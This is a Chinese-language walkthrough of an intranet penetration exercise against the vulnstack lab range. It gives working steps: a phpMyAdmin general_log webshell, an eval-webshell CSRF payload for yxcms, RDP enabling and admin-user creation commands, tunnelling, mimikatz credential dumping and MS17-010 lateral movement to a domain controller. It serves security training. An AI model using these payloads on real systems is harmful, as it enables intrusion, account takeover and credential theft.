这几十G下的我有点蒙… 不得不感慨有一部好电脑对学安全的人是有多幸福了。。

环境下载

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

网络环境

image_1dvv59t1pkkkt6ugs1c1e13m59.png-6kB

1
Windows 7有双网卡,也就是内外网IP
2
外网IP:192.168.31.129
3
内网IP:192.168.52.143
4
且此服务器存在yxcms
5
6
Windows 2008只有内网网卡
7
内网IP: 192.168.52.138
8
9
Win2k3只有内网网卡
10
内网IP:192.168.52.141

很明显,要想访问Windows 2008Win2k3服务器必须要拿下Windows 7服务器,用它做跳板进内网进行横向渗透。

攻击过程

0x1.获取WEBSHELL

目标URLhttp://192.168.31.129/yxcms/

得知是yxcms,直接百度一把搜,找到如下文章

https://bbs.ichunqiu.com/thread-45926-1-1.html

这里都是需要后台才可以getshell的,自己审计不太现实,故打开默认后台试试弱口令

http://192.168.31.129/yxcms/index.php?r=admin/index/login

将登录的数据包放入Repeater重放多次发现验证码没有自动刷新,故可以爆破,然后填了密码字典后放着等他跑,看看其他的点是否有漏洞~

image_1dvv6utl34po1ff61i4aofn7ts1j.png-94.1kB

这里爆破出了phpMyAdmin,然后打开试试弱口令root/root直接就进去了

phpMyAdmin GetShell

1
set global general_log=on; # 开启日志
2
set global general_log_file='C:/phpstudy/www/fuck.php'; # 设置日志位置为php代码,然后保存的日志内容写上shell就可以了
3
select '<?php eval($_POST["fuck"]); ?>' # 这段查询会带入到日志中,然后就成功变成WebShell了

然后使用蚁剑连接

image_1dvv80pce8461ls1bme1audcr41m.png-38.4kB

然后yxcms后台这边burp也跑出密码来了

image_1dvv6o1ltqvogsf11cj1s1e1r42p.png-133.6kB

账户密码为:admin/123456,进入后台,直接上高速打POC

1
<html>
2
  <!-- CSRF PoC - generated by Burp Suite Professional -->
3
  <body>
4
  <script>history.pushState('', '', '/')</script>
5
    <form action="http://192.168.31.129/yxcms/index.php?r=admin/set/tpadd&Mname=default" method="POST">
6
      <input type="hidden" name="filename" value="fuck" />
7
      <input type="hidden" name="code" value="&lt;&#63;php&#32;eval&#40;&#36;&#95;POST&#91;&quot;fuck&quot;&#93;&#41;&#59;&#63;&gt;" />
8
      <input type="submit" value="Submit request" />
9
    </form>
10
  </body>
11
</html>

打开如上html页面就会在生成一个WebShellhttp://192.168.31.129/yxcms/protected/apps/default/view/default/fuck.php页面,密码为fuck

image_1dvv8beon7vp1n181m381rte4lq2g.png-134.9kB

0x2.内网渗透

首先查看是什么权限,是否有域

image_1dvv8f4r0180514c717g8frp11rn30.png-143.5kB

管理员权限,且有域~

然后一般拿下window的话我都会选择去连接它的远程桌面(PORT:3389

输入netstat -ano | find "3389"没有回显,证明未开启远程桌面服务,用如下命令开启

1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

image_1dvv8p3qvrp88k61618188tkii3d.png-14.8kB

成功开启。

然后开启了3389后可以选择读管理员的明文密码或添加用户,前者可能因为读不出明文密码(03前的操作系统使用LM HASH加密明文,可逆,越后的系统都使用新的加密NTLM HASH),所以这里选择后者添加密码

1
C:\phpStudy\WWW> net user test @!FuckSEC!@ /add # 添加账户密码
2
命令成功完成。
3
 
4
C:\phpStudy\WWW> net localgroup administrators test /add # 给test账户添加为管理员权限
5
命令成功完成。
6
7
C:\phpStudy\WWW> net user test # 查询是否成功添加test用户
8
用户名                 test
9
全名                   
10
注释                   
11
用户的注释             
12
国家/地区代码          000 (系统默认值)
13
帐户启用               Yes
14
帐户到期               从不
15
上次设置密码           2020/2/1 10:27:52
16
密码到期               2020/3/14 10:27:52
17
密码可更改             2020/2/2 10:27:52
18
需要密码               Yes
19
用户可以更改密码       Yes
20
允许的工作站           All
21
登录脚本               
22
用户配置文件           
23
主目录                 
24
上次登录               从不
25
可允许的登录小时数     All
26
本地组成员             *Administrators       *Users                
27
全局组成员             *None                 
28
命令成功完成。

然后使用账号密码test/@!FuckSEC!@登录远程桌面

image_1dvv9is5s8291nco1k1h60418nu9.png-34.8kB

哦吼!fuck

一开始猜测可能是防火墙禁止3389端口进出网,然后经过端口转发后才发现并不是,如图

image_1dvv9v8mg1hiuv6ih6fja8ficm.png-219.7kB

防火墙开启了阻止所有与未在允许程序列表中的程序的连接,换句话说,设置了白名单,只能本地连接,那么我们使用ngrokfrp创建一个TCP隧道

1、首先在http://ngrok.cc/user.html注册用户,然后开通FRP服务器

image_1dvvjh63lruhq74125q1vpkj329.png-25.7kB

image_1dvvjjmc61efsdc0c1b10pi65sm.png-39.2kB

2、下载frp客户端工具

image_1dvvjkld61k4b1dok18j415u41un413.png-73.4kB

将工具上传至目标服务器,然后执行如下命令

1
sunny.exe --clientid=隧道id

image_1dvvk23b01rlob381his1dhc1iv71g.png-40.7kB

3、然后连接xxxx.xxxx.xxx:10062

image_1dvvk8a4sks5usfi3c1i354u01t.png-67.2kB

内网已进入,然后我习惯性直接上去关防火墙,然后用cs上线

这个线上的很心塞。。

image_1dvvlejr51dfdili1tk8ub9qqu2a.png-108.9kB

生成了好多shell然后过了好一会才过来。

0x3.信息收集

1、使用ipconfig /all看网络环境(查询是否有域)

image_1dvvmm3ch1l1l1n9g1areg4ccqi2n.png-135.7kB

2、net config Workstation查询当前计算机名、计算机全名、用户名、工作站、软件版本、工作站域、工作站域 DNS 名称、登录域

image_1dvvn21o0u6p1j3k1uc41jb490a34.png-37kB

这样也能看

image_1dvvnbh951kbh2lo95f18141tvs3h.png-99.9kB

3、查看进程tasklist /v 有些进程可能是域用户启的­>通过管理员权限 凭证窃取 ­> 窃取域用户的凭证

4、显示正由指定的计算机共享的域、计算机或资源的列表。如果在没有参数的情况下使用,则net view显示当前域中的计算机列表。

image_1dvvo1j211mejn6es3hk0m13334e.png-20.2kB

这里OWA主机是主域控制器,IP192.168.52.138,然后还有一个主机名为ROOT-TVI862UBEHIP192.168.52.141(环境3)

而本机不是域机器所以跑不出域相关信息,着重于横向渗透。

目前知道的数据就行了,然后在本地抓一下管理员密码(Cs跑内存HASH、注册表HASH

0x4.密码获取

1、直接用cshashdump读内存密码。

image_1dvvol5ngh6h1r9d145i6ds17km4r.png-21.1kB

2、用mimikatz读注册表密码

1
beacon> logonpasswords
2
读出的信息...

我们可以直接在Credentials模块下看的清清楚楚

image_1dvvp5roa15c41ass13h91ga2fbo58.png-54.5kB

这里直接抓取了Administrator的明文密码hongrisec@2019

0x5.横向渗透

横向渗透一般就是获取内网其他主机的权限

我比较喜欢用msf来进行横向渗透,所以这里要使用到msf,但是Win2k3Window 2008都是内网主机,我们攻击机的msf无法访问,所以我们要在Window s7上开启一个隧道,将msf带入内网。

开通隧道带msf进内网

1、在cs上开通socks通道

image_1e01pagdtc80udk146i3h5mdt6v.png-18.9kB

1
socks 9999

2、在攻击机上设置proxychains

1
vi /etc/proxychains.conf
2
socks4    127.0.0.1 9999

image_1e01pciog1o0eup1auiogs1n0l7s.png-69.2kB

小白肯定会问为什么这里设置的代理是127.0.0.1 9999,因为我cs的服务端是kali,然后在cs执行socks 9999相当于在我kali上开通一个9999socks代理,然后我kali直接连本地的9999端口就可以了

3、使用代理打开msf

1
proxychains msfconsole

image_1e01pibd0bn6124450dk94ba89.png-81.9kB

这样msf就成功进内网啦

然后这里尝试去跑一下MS08-067(失败)

插播! 这里用cssocks代理不稳定,我上传了ew开了1080监听然后也是使用proxychains代理

端口探测

因为目标机安装了nmap所以直接跑了

image_1e02t8sk11o56olo1u6t1fkbr4u23.png-46.7kB

开启了445端口,然后这里试了下ms08-067,失败告终。

拿下xp

然后尝试了admin/smb/ms17_010_command这个模块发现是可以的

image_1e033nn16l9limi1adcinb18d82g.png-189.3kB

然后直接执行添加用户命令

1
net user test @!FuckSEC!@ /add
2
net localgroup administrators test /add

image_1e033sqmu1hf81jdhh7e1qmq1nog2t.png-218.3kB

查看是否添加成功

image_1e033u8lj11k4e441j181e5r7i3a.png-171kB

然后开启他的3389

1
2003上开启3389的命令行语句
2
3
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

然后使用proxychains连接他的3389

1
proxychains rdesktop 192.168.52.141

image_1e034uo80138jdrl1u8m6llf2d3n.png-67.6kB

然后这里我想让2003系统上上线Cs,操作过程看我这篇文章

https://fuckgo.github.io/2020/02/03/%E7%9B%AE%E6%A0%87%E6%9C%BA%E5%99%A8%E4%B8%8D%E5%87%BA%E7%BD%91%E4%B8%8A%E7%BA%BF%E5%8A%9E%E6%B3%95/

对xp的信息收集

常规的信息收集

1
ipconfig /all
2
查看网络环境

image_1e03itg6pd0b1bmsm6p1cqovlf9.png-52.9kB

1
有Primary Dns Suffix 说明是域内 为域机器

然后查看当前登录域

1
net config workstation

image_1e03j8gmd1fq5164a1giphl19hum.png-14.9kB

然后依次类推查询,发现192.168.52.138是主域机器

image_1e03jf691o441elpcjp1uas18en13.png-24.5kB

干他!

对域机器进行渗透

端口探测

image_1e03jj3fmcpa1109fvg10v0gi51g.png-50.4kB

1
PORT      STATE SERVICE
2
53/tcp    open  domain
3
80/tcp    open  http
4
88/tcp    open  kerberos-sec
5
135/tcp   open  msrpc
6
139/tcp   open  netbios-ssn
7
389/tcp   open  ldap
8
445/tcp   open  microsoft-ds
9
464/tcp   open  kpasswd5
10
593/tcp   open  http-rpc-epmap
11
636/tcp   open  ldapssl
12
3268/tcp  open  globalcatLDAP
13
3269/tcp  open  globalcatLDAPssl
14
49154/tcp open  unknown
15
49155/tcp open  unknown
16
49157/tcp open  unknown
17
49158/tcp open  unknown
18
49161/tcp open  unknown
19
49167/tcp open  unknown

使用445添加用户

445开放,使用admin/smb/ms17_010_command成功,只能一条一条命令执行…

然后执行添加用户的语句

image_1e03kithl13dg11cm14be1v3h1j7t1t.png-215.6kB

用户还是test密码还是@!FuckSEC!@

使用ipc上传上线马

这里使用ipc连接上传上线马,然后用计划任务执行该文件

image_1e03klhlrkb3jqu1p674u516sn2a.png-54.7kB

上线马依旧看这篇文章:
https://fuckgo.github.io/2020/02/03/%E7%9B%AE%E6%A0%87%E6%9C%BA%E5%99%A8%E4%B8%8D%E5%87%BA%E7%BD%91%E4%B8%8A%E7%BA%BF%E5%8A%9E%E6%B3%95/

上线成功

image_1e03kt9fo8j519dmi0o1dv6gom2n.png-31.7kB

然后使用mimikatz跑一下密码

image_1e03l8306hsi1s6u13c2170v1v5d34.png-141.4kB

直接就把域管账号密码跑下来了~

致此先这里完结一段落,后续学历了痕迹清理隐藏攻击手段等技术后再续文缘。

祝我在内网之旅中开心成长~